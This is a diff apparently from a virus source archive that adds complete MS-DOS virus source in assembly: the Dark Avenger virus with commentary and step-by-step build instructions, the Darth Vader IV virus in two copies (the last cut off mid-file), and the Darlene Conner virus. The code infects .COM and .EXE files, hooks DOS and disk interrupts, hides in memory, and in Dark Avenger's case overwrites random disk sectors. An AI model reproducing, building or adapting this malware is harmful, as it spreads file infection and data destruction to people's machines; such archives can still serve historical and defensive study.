<3bf9ea$iep@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + + DARK AVENGER VIRUS + + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported +for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the +program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to +INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the +segment, + cmp ax,0f000h ;where the original INT 13h +vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work +anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a +drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause +it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems +unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has +not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and +26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command +inter- + jne dont_touch ;preter does not use this +function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in +stack + push es ;and changes them with what is +needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only +files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in +case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM +files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities +to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in +connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another +source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help +him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the +first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is +written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the +opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into +memory +top_save equ save_int_21+4 ;Beginning of the buffer, which + ;contains + ; - The first 24 bytes read from +file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end + +------------------------------------------------------------------------ +------ + + A few notes on assembling this virus. + + It's a little bit tricky assembling the Dark Avenger Virus. Use + these steps below. I use Turbo Assembler 2.0, but I'm positve that + MASM will work just as well. + + 1: + TASM AVENGER.ASM + + 2: + TLINK AVENGER.OBJ + + 3: + EXE2BIN AVENGER AVENGER.COM + + Now make a 3 byte file named JUMP.TMP using DEBUG like this + + 4: DEBUG + + n jmp.tmp + e 0100 E9 68 00 + + rcx + 3 + w + q + + 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM + + There you have it.... + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.darkvad.asm b/MSDOS/Virus.MSDOS.Unknown.darkvad.asm new file mode 100644 index 00000000..965a5ce8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darkvad.asm @@ -0,0 +1,171 @@ +; RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:06) Number: 3556 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: DARTH VADER Conf: (16) VIRUS +;--------------------------------------------------------------------------- +;********************************************************************* +;********** +;* +;* +;* D A R T H V A D E R IV +;* +;* +;* +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia +;* +;* All Rights Reserved +;* +;* +;& +;* Enchanced by: Lazy Wizard +;& +;* +;& +;* Turbo Assembler 2.0 +;& +;* +;& +;********************************************************************* +;********** + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,(LastByte-Start-1)/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:06) Number: 3557 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: DARTH VADER Conf: (16) VIRUS +;--------------------------------------------------------------------------- + pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,(LastByte-Start-1)/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start diff --git a/MSDOS/Virus.MSDOS.Unknown.darlene.asm b/MSDOS/Virus.MSDOS.Unknown.darlene.asm new file mode 100644 index 00000000..561e212c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darlene.asm @@ -0,0 +1,317 @@ +; Darlene Conner written by MuTaTiON INTERRUPT +; To compile this use TASM /M darlene.asm + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + call realcode ; Push current location on stack +realcode: + nop + nop + pop bp ; Get location off stack + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + cmp sp,id ; COM or EXE? + je restoreEXE + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Location of where to put it in di + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + jmp exitrestore + +restoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +dirloop: + lea dx,[bp+offset exefilespec] + call findfirst + lea dx,[bp+offset comfilespec] + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + mov ah,9 ; Display string + lea dx,[bp+virusname] + int 21h + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; EXE or COM? + jz returnEXE + + retn ; Return to 100h to original jump + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h ; Used with carrier file +stacksave2 dd ? + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +Findnext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM' ; EXE? + jz checkEXE ; Why yes, yes it is! + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does End in comma'ND'? (reverse order) + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,[bp+offset dta+1ah] ; Get file size + mov cx,word ptr [bp+buffer+1] ; Get jump loc of file + add cx,eof-virus+3 ; Add for virus size + + cmp bx,cx ; Does file size=file jump+virus size + jz quitinfect ; Yup then get another file + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +quitinfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] + lea di,[bp+oldjump] + movsw + movsb + mov [bp+buffer],byte ptr 0e9h + mov word ptr [bp+buffer+1],bx ; Save for later + + mov cx,3 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Number of bytes to write (Header) +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + + mov ah,40h ; Write virus to file + mov cx,eof-virus ; Size of virus + lea dx,[bp+offset virus] ; Location to start from + int 21h + +closefile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +move_fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +set_dta: + mov ah,1ah ; Move the DTA location + int 21h + retn + +open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus +Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus +Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit + +eof equ $ ; Marks the end of file + +currentdir db 64 dup (?) ; Holds the current dir +dta db 42 dup (?) ; Location of new DTA +buffer db 1ah dup (?) ; Holds exe header +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.darth.asm b/MSDOS/Virus.MSDOS.Unknown.darth.asm new file mode 100644 index 00000000..692614d0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darth.asm @@ -0,0 +1,151 @@ +;****************************************************************************** +;* * +;* D A R T H V A D E R IV * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* Enchanced by: Lazy Wizard * +;* * +;* Turbo Assembler 2.0 * +;* * +;****************************************************************************** + + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,(LastByte-Start-1)/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: 